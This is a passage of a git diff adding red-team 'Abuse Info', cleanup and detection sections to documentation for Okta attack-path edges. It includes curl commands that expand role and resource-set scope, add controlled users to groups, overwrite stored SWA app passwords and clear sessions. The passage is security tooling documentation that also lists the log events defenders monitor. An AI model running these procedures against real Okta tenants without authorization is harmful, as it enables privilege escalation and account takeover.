SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID" \ + | jq '{id, status, login: .profile.login, passwordChanged}' + ``` + +## Cleanup after Abuse + +Cleanup removes authenticator changes made during takeover, forces legitimate password recovery for the destination user, and revokes temporary credentials, recovery links, sessions, and tokens. + +Cleanup using Admin Console: + +1. Open **Directory** > **People** and select the destination user. +2. Remove any attacker-controlled authenticators enrolled during the operation. +3. Start a legitimate password reset for the user and require the user to choose a new password. +4. Clear the user's active Okta sessions. +5. Confirm the user can sign in with expected authenticators and no attacker-controlled factors remain. + +Cleanup using API: + +1. List the user's enrolled factors and identify any factor enrolled during the abuse window. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors" + ``` + +2. Remove attacker-controlled factors. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors/$FACTOR_ID" + ``` + +3. Start a legitimate reset that emails the user and revokes existing sessions. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=true&revokeSessions=true" + ``` + +4. Clear remaining Okta sessions, OAuth tokens, and remembered devices. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +5. Verify the user is no longer in `RECOVERY` because of the attacker-controlled reset flow and that only expected authenticators remain. + +## Opsec Considerations + +Password reset and temporary-password abuse is visible in the Okta System Log. Relevant events include `user.account.reset_password`, `user.account.expire_password`, `user.session.clear`, `user.session.start`, and, when MFA is changed during the same path, `user.mfa.factor.reset_all`, `user.mfa.factor.deactivate`, and `user.mfa.factor.activate`. + +The API path records the caller, client, source IP, request URI, target user, and whether sessions were revoked. A password reset followed by factor reset, new factor enrollment, admin console access, or sign-in from an unusual network is a high-signal account takeover pattern. + +## References + +- [Okta User Credentials API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserCred/) +- [Okta User Lifecycle API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Factors API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) diff --git a/descriptions/edges/Okta_ResourceSetContains.md b/descriptions/edges/Okta_ResourceSetContains.md index 5520494..6b57cb9 100644 --- a/descriptions/edges/Okta_ResourceSetContains.md +++ b/descriptions/edges/Okta_ResourceSetContains.md @@ -19,3 +19,210 @@ graph LR ``` Note that users can also be members of resource sets indirectly through group memberships. The intermediate group will not appear in the graph, but the user membership will be resolved by the collector. + +## Abuse Info + +`Okta_ResourceSetContains` is a custom-role scope edge. It does not grant privileges by itself. It becomes abusable when an attacker controls a principal bound to the source resource set through a custom role, or when an attacker can modify the source resource set so existing custom-role bindings gain authority over a new destination resource. + +To abuse this edge when controlling a principal bound to the source resource set: + +1. Follow incoming `Okta_ScopedTo` to identify the role assignment that targets the source resource set. +2. Follow `Okta_HasRole` from the assigned principal to identify the custom role. +3. Inspect the custom role permissions to determine what can be done to the destination resource. +4. Authenticate as the assigned user, as a member of the assigned group, or as the assigned service client. +5. Apply the custom role's permissions to the destination resource. Examples include resetting a destination user's password, resetting factors, adding members to a destination group, managing a destination application, or reading scoped application client secrets. +6. Continue along the derived traversable edge that represents the permission, such as `Okta_ResetPassword`, `Okta_ResetFactors`, `Okta_AddMember`, `Okta_ManageApp`, or `Okta_ReadClientSecret`. + +To abuse this edge when controlling the source resource set configuration: + +1. Identify the existing custom-role bindings that point at the source resource set. +2. Determine which permissions those bindings grant. +3. Add the destination object or contained-resource URL to the resource set. +4. Re-authenticate or mint a fresh token as the bound principal so scope is recalculated. +5. Use the newly scoped permission against the destination object. + +Using the Admin Console: + +1. Sign in as an administrator who can manage custom admin roles or resource sets. +2. Open **Security** > **Administrators** and review custom role assignments. +3. Open the source resource set and record its current resources. +4. Add only the destination resource needed for the path, such as a specific group, group users collection, application, user, authorization server, identity provider, policy, or device. +5. Authenticate as a principal bound to the source resource set. +6. Perform the custom-role action against the destination resource. +7. Verify the resulting path, such as a new group member, managed app setting, reset user, or readable client secret. + +Using the Okta API: + +1. Set variables for the resource set, target resource, and a controlled user for a common `Okta_AddMember` follow-on action. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export RESOURCE_SET_ID="iamo..." + export CUSTOM_ROLE_ID="cr0..." + export TARGET_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + export TARGET_RESOURCE_URL="$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users" + ``` + +2. Inspect the source resource set and existing custom-role bindings. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID" \ + | jq '{id, label, description, lastUpdated}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/bindings" \ + | jq '.' + ``` + +3. Inspect the custom role permissions attached to the resource set. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/roles/$CUSTOM_ROLE_ID/permissions" \ + | jq -r '.[] | [.label, .status] | @tsv' + ``` + +4. Add the destination resource to the source resource set. Use an Okta REST URL or ORN that matches the permission. For group membership management, add the group's `/users` contained-resource URL. + + ```bash + curl -sS -X PATCH \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"additions\":[\"$TARGET_RESOURCE_URL\"]}" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | jq '{id, label, lastUpdated}' + ``` + + A successful request returns `200 OK` with the updated resource set. + +5. Verify the destination resource is a member of the source resource set and capture its resource ID for cleanup. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | tee /tmp/okta-resource-set-resources.json + + export TEMP_RESOURCE_ID="$(jq -r --arg href "$TARGET_RESOURCE_URL" '.resources[]? | select(.orn == $href or ._links.self.href == $href) | .id' /tmp/okta-resource-set-resources.json | head -n1)" + jq -r --arg id "$TEMP_RESOURCE_ID" '.resources[]? | select(.id == $id) | [.id, .orn, ._links.self.href] | @tsv' /tmp/okta-resource-set-resources.json + ``` + +6. Use the custom-role permission against the destination. This example adds a controlled user to the scoped group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +7. Verify the follow-on access. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_ResourceSetContains` removes any temporary destination resources added to the source resource set, restores the resource set's original membership, and reverses the admin action performed against the destination object. + +Cleanup using Admin Console: + +1. Open the source resource set used by the custom role assignment. +2. Remove the temporary destination resource, such as the group users collection, application, user, identity provider, policy, authorization server, or device. +3. Restore any excluded resources or resource conditions that were changed. +4. Remove downstream access created through the temporary scope, such as group membership, app assignment, reset artifacts, client secrets, or application configuration changes. +5. Revoke sessions and tokens for principals that received access through the temporary resource-set scope. +6. Verify the source resource set no longer contains the destination resource and the derived permission edge no longer reaches it. + +Cleanup using API: + +1. Resolve the temporary resource ID if it was not captured during abuse. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | tee /tmp/okta-resource-set-resources-cleanup.json + + export TEMP_RESOURCE_ID="$(jq -r --arg href "$TARGET_RESOURCE_URL" '.resources[]? | select(.orn == $href or ._links.self.href == $href) | .id' /tmp/okta-resource-set-resources-cleanup.json | head -n1)" + ``` + +2. Remove the temporary resource from the source resource set. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources/$TEMP_RESOURCE_ID" + ``` + + A successful deletion returns `204 No Content`. + +3. Reverse the downstream group membership used in the example path. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Revoke sessions for the controlled user if the temporary resource-set scope granted interactive access. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the resource and downstream access are gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | jq -r --arg href "$TARGET_RESOURCE_URL" '.resources[]? | select(.orn == $href or ._links.self.href == $href)' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +## Opsec Considerations + +Adding a sensitive resource to an existing resource set can expand delegated admin power without changing the custom role's name. Monitor `iam.resourceset.resources.add`, `iam.resourceset.resources.delete`, `iam.resourceset.resources.update`, `iam.resourceset.bindings.add`, `iam.resourceset.bindings.delete`, and the follow-on user, group, app, credential, or policy events created by the bound principal. + +Resource set resources can represent contained collections, such as `groups/{groupId}/users`. Defenders should review both the object added to the resource set and the first administrative action performed after the change. + +## References + +- [Okta Resource Sets API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleCResourceSet/) +- [Okta Resource Set Resources API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleCResourceSetResource/) +- [Okta Role Resource Set Bindings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleDResourceSetBinding/) +- [Okta roles guide](https://developer.okta.com/docs/api/openapi/okta-management/guides/roles/) +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta Group API: Assign a user to a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/assignUserToGroup) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Eli Guy: Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_SWA.md b/descriptions/edges/Okta_SWA.md index 965281f..f6a4031 100644 --- a/descriptions/edges/Okta_SWA.md +++ b/descriptions/edges/Okta_SWA.md @@ -1,6 +1,6 @@ ## General Information -The non-traversable hybrid Okta_SWA edges represent Secure Web Authentication relationships between Okta users and their linked accounts in external applications. SWA stores user credentials in Okta and automatically fills them in, which is less secure than federated SSO. +The non-traversable hybrid Okta_SWA edges represent Secure Web Authentication relationships between Okta users and their linked accounts in external applications. SWA is not federation; Okta stores or submits application credentials on behalf of the user. ```mermaid graph LR @@ -15,3 +15,157 @@ graph LR u1 -. Okta_SWA .-> opu1 u2 -. Okta_SWA .-> opu2 ``` + +The edge is non-traversable because stored password submission is highly dependent on tenant settings, browser/plugin behavior, and the destination application's own login controls. In practice, control of the source Okta user often gives interactive access to the destination account even if the attacker never learns the stored password. + +## Abuse Info + +An attacker who controls the source Okta user can access the destination external account through SWA by launching the application from Okta and letting Okta fill or submit the stored credentials. If the attacker also controls the SWA app assignment or app-user credentials, they can set or replace the stored downstream password for the source user's assignment. + +This differs from `Okta_OutboundSSO`: the destination application sees a password-based login, not a SAML/OIDC federated login. SWA can still be valuable because Okta may submit a credential the user or attacker does not know. + +Using the Okta dashboard and browser plugin: + +1. Obtain a valid Okta session for the source user. +2. Open the Okta end-user dashboard or Okta browser plugin. +3. Launch the SWA application represented by the edge. +4. Let Okta fill or submit the stored username and password to the destination application. +5. Use the resulting destination application session as the linked destination account. +6. If tenant and app settings allow password reveal or user-managed SWA credentials, capture the stored credential and test direct login to the destination application. +7. If MFA or device checks exist in the destination application, complete them or pivot to session/token theft inside that application. + +Using the Okta API: + +1. Set variables for the source Okta user, SWA app, and optional SWA credential values. Use the credential-setting steps only when you have app administration rights and are intentionally creating or restoring an app-user credential. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u..." + export SWA_APP_ID="0oa..." + export SWA_USERNAME="alice@example.com" + export TEMP_SWA_PASSWORD="CorrectHorseBatteryStaple!23" + ``` + +2. Confirm that the source application is an SWA-style app and save the app configuration. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID" \ + | tee /tmp/okta-swa-app-original.json \ + | jq '{id, label, name, status, signOnMode, url: .settings.app.url, credentials: .credentials.scheme}' + ``` + + SWA apps commonly use sign-on modes such as `SECURE_PASSWORD_STORE`, `BROWSER_PLUGIN`, or `AUTO_LOGIN`. + +3. Verify the source user's SWA app assignment and app username. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, scope, credentials, profile}' + ``` + +4. If you control the app assignment and need to set a temporary SWA password, update the application user credentials. Okta does not return the cleartext password after it is set. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"credentials\":{\"userName\":\"$SWA_USERNAME\",\"password\":{\"value\":\"$TEMP_SWA_PASSWORD\"}}}" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, credentials, profile}' + ``` + +5. Revoke the source user's Okta sessions if you need a clean browser flow, then re-authenticate and launch the SWA app. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +6. Complete the SWA launch in a browser. Okta's API can verify app assignment and app-user credential state, but the credential submission happens through the dashboard, plugin, or browser flow. + +7. Verify the destination application session in the destination app's UI or API. + +## Cleanup after Abuse + +Cleanup for `Okta_SWA` means removing temporary SWA assignment or credential changes, rotating any exposed destination password, clearing Okta and downstream sessions, and removing browser artifacts created while Okta submitted the password. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the SWA application. +2. Restore the source user's app username and password settings if they were changed. +3. Remove the temporary app assignment if the source user was only assigned for the operation. +4. Rotate the destination application password if the SWA-stored credential was revealed, copied, or set to a temporary value. +5. Sign out of the destination application and revoke downstream sessions or tokens. +6. Remove temporary browser profiles, plugin state, saved passwords, screenshots, and captured credentials. +7. Verify the source user can no longer launch the SWA app or that the restored credential works only for the legitimate user. + +Cleanup using API: + +1. Restore the source user's SWA app credentials if you changed them. Use the legitimate replacement password or a password rotated in the destination application. + + ```bash + export RESTORED_SWA_PASSWORD="REDACTED_RESTORED_PASSWORD" + + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"credentials\":{\"userName\":\"$SWA_USERNAME\",\"password\":{\"value\":\"$RESTORED_SWA_PASSWORD\"}}}" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, credentials, profile}' + ``` + +2. Remove the temporary SWA app assignment if one was created. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$SOURCE_USER_ID" + ``` + +3. Revoke Okta sessions and OAuth tokens for the source user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +4. Verify the app-user assignment state. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$SOURCE_USER_ID" + ``` + +5. Use the destination application's API or admin UI to revoke password-based sessions and confirm the old password no longer works. + +## Opsec Considerations + +Okta System Log events can include `application.user_membership.show_password`, `application.user_membership.restore_password`, `application.user_membership.update`, app assignment events, `policy.evaluate_sign_on`, and app launch events such as `user.authentication.sso`. The destination application logs a password-based login rather than a federated login, often with the attacker's browser, IP address, and user agent. + +SWA launches from a new device, password reveal events, app-user password changes, or direct destination logins shortly after a SWA launch are strong indicators. Browser artifacts can also expose the operation because SWA relies on interactive credential submission. + +## References + +- [Okta SWA app integrations](https://help.okta.com/oie/en-us/Content/Topics/Apps/apps-about-swa.htm) +- [Okta create SWA app integration guide](https://developer.okta.com/docs/guides/create-an-app-integration/swa/main/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Luke Jennings: Abusing Okta's SWA authentication method](https://pushsecurity.com/blog/okta-swa/) diff --git a/descriptions/edges/Okta_ScopedTo.md b/descriptions/edges/Okta_ScopedTo.md index 3274acb..43277d6 100644 --- a/descriptions/edges/Okta_ScopedTo.md +++ b/descriptions/edges/Okta_ScopedTo.md @@ -26,3 +26,230 @@ graph TB u2 -- Okta_SuperAdmin --> org u2 -. Okta_HasRole .-> r2 ``` + +## Abuse Info + +`Okta_ScopedTo` is a scope edge. It is not directly abusable without the role assignment and principal on the other side of the source `Okta_RoleAssignment`. An attacker uses this edge to answer the most important question about a role assignment: which destination resource can the source assignment affect? + +To abuse this edge: + +1. Follow incoming `Okta_HasRoleAssignment` to identify the source principal that owns the role assignment. +2. Compromise that source user, a member of the source group, or the source application credentials. +3. Follow `Okta_HasRole` from the principal to identify the role or custom role. +4. Use the destination resource from `Okta_ScopedTo` as the target for the role's permissions. +5. Continue along the derived traversable edge that represents the concrete permission, such as `Okta_AppAdmin`, `Okta_GroupAdmin`, `Okta_HelpDeskAdmin`, `Okta_OrgAdmin`, `Okta_SuperAdmin`, `Okta_AddMember`, `Okta_ResetPassword`, `Okta_ResetFactors`, `Okta_ManageApp`, or `Okta_ReadClientSecret`. + +If the attacker can modify the source role assignment, they can also expand the assignment's scope. Standard-role assignments use role target APIs for group and app targets. Custom-role assignments use resource sets, so adding a destination resource to the resource set can extend existing custom-role power to that object. + +Using the Admin Console: + +1. Sign in as an administrator who can view or manage the source role assignment. +2. Open **Security** > **Administrators** and locate the principal attached to the source assignment. +3. Review the role and scope. For standard roles, inspect the target groups or applications. For custom roles, inspect the custom role and resource set. +4. If abusing existing scope, navigate to the destination resource and perform the role-backed action. +5. If expanding scope, add only the target group, target application, or resource-set member needed for the path. +6. Re-authenticate or mint a fresh token as the source principal if the role or scope was changed. +7. Verify the derived permission edge now reaches the destination resource. + +Using the Okta API: + +1. Set variables for the principal, assignment, and target resource. Use the variable set that matches the principal type and target type. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export ASSIGNEE_USER_ID="00u..." + export ASSIGNEE_GROUP_ID="00g..." + export ASSIGNEE_CLIENT_ID="0oa..." + export ROLE_ASSIGNMENT_ID="JBC..." + export TARGET_GROUP_ID="00g..." + export TARGET_APP_NAME="salesforce" + export TARGET_APP_ID="0oa..." + export RESOURCE_SET_ID="iamo..." + export CONTROLLED_USER_ID="00u..." + export TARGET_RESOURCE_URL="$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users" + ``` + +2. Retrieve the source role assignment and inspect embedded targets. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID?expand=targets/catalog/apps&expand=targets/groups" \ + | jq '{id, type, status, assignmentType, targets: ._embedded.targets, resourceSet: ."resource-set"}' + ``` + +3. For a standard role scoped to groups, list and optionally add the destination group target. Use the user, group, or client path that matches the assignee. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups/$TARGET_GROUP_ID" + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$ASSIGNEE_GROUP_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups/$TARGET_GROUP_ID" + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$ASSIGNEE_CLIENT_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups/$TARGET_GROUP_ID" + ``` + + A successful target assignment returns `204 No Content`. + +4. For a standard `APP_ADMIN` role scoped to an app instance, add the destination app instance target. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/catalog/apps/$TARGET_APP_NAME/$TARGET_APP_ID" + ``` + +5. For a custom role scoped through a resource set, add the destination resource URL to the source resource set. + + ```bash + curl -sS -X PATCH \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"additions\":[\"$TARGET_RESOURCE_URL\"]}" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | jq '{id, label, lastUpdated}' + ``` + +6. Verify the destination resource is now in scope. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups" \ + | jq -r '.[] | select(.id == env.TARGET_GROUP_ID) | [.id, .profile.name] | @tsv' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | jq -r --arg href "$TARGET_RESOURCE_URL" '.resources[]? | select(.orn == $href or ._links.self.href == $href) | [.id, .orn] | @tsv' + ``` + +7. Use the role-backed action against the scoped destination. For example, if the role permits group membership management on `TARGET_GROUP_ID`, add the controlled user to that group. + +## Cleanup after Abuse + +Cleanup for `Okta_ScopedTo` restores the source role assignment's original target scope, removes any temporary resource-set member added to expand custom-role scope, and reverses the concrete action performed against the scoped destination resource. + +Cleanup using Admin Console: + +1. Open the source role assignment under **Security** > **Administrators**. +2. Remove temporary group or app targets that were added to the assignment. +3. For a custom role, open the resource set and remove the temporary destination resource. +4. If removing the last target would unintentionally make a standard role apply to all targets, delete and recreate the role assignment with the intended targets instead. +5. Reverse the action performed against the destination resource, such as group membership, app assignment, password reset, factor reset, or credential change. +6. Revoke sessions and tokens created through the temporary scope. +7. Verify the source assignment no longer has the destination in scope. + +Cleanup using API: + +1. Remove a temporary group target from the matching principal type. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups/$TARGET_GROUP_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$ASSIGNEE_GROUP_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups/$TARGET_GROUP_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$ASSIGNEE_CLIENT_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups/$TARGET_GROUP_ID" + ``` + + Okta does not allow removing the last target from some standard-role assignments. If that happens, delete and recreate the role assignment with the intended target set. + +2. Remove a temporary app instance target if one was added. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/catalog/apps/$TARGET_APP_NAME/$TARGET_APP_ID" + ``` + +3. Remove a temporary resource-set resource. First resolve the resource ID, then delete it. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | tee /tmp/okta-scopedto-resources.json + + export TEMP_RESOURCE_ID="$(jq -r --arg href "$TARGET_RESOURCE_URL" '.resources[]? | select(.orn == $href or ._links.self.href == $href) | .id' /tmp/okta-scopedto-resources.json | head -n1)" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources/$TEMP_RESOURCE_ID" + ``` + +4. Revoke sessions for users that received access through the temporary scope. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the destination is no longer in the source assignment's scope. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$ASSIGNEE_USER_ID/roles/$ROLE_ASSIGNMENT_ID/targets/groups" \ + | jq -r '.[] | select(.id == env.TARGET_GROUP_ID)' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/iam/resource-sets/$RESOURCE_SET_ID/resources" \ + | jq -r --arg href "$TARGET_RESOURCE_URL" '.resources[]? | select(.orn == $href or ._links.self.href == $href)' + ``` + +## Opsec Considerations + +Scope changes can be stealthier than role-name changes because the role label stays the same while the set of manageable resources changes. Monitor role target additions/removals, `iam.resourceset.resources.add`, `iam.resourceset.resources.delete`, `iam.resourceset.bindings.add`, `iam.resourceset.bindings.delete`, and the follow-on admin action against the newly scoped destination. + +For service app sources, also correlate OAuth client-credentials token grants and Okta Management API calls after scope changes. For group sources, correlate new group membership with immediate use of the inherited admin scope. + +## References + +- [Okta roles guide](https://developer.okta.com/docs/api/openapi/okta-management/guides/roles/) +- [Okta role assignment concept](https://developer.okta.com/docs/concepts/role-assignment/) +- [Okta User Role Targets API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleBTargetAdmin/) +- [Okta Group Role Targets API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleBTargetBGroup/) +- [Okta Client Role Targets API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleBTargetClient/) +- [Okta Resource Sets API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleCResourceSet/) +- [Okta Resource Set Resources 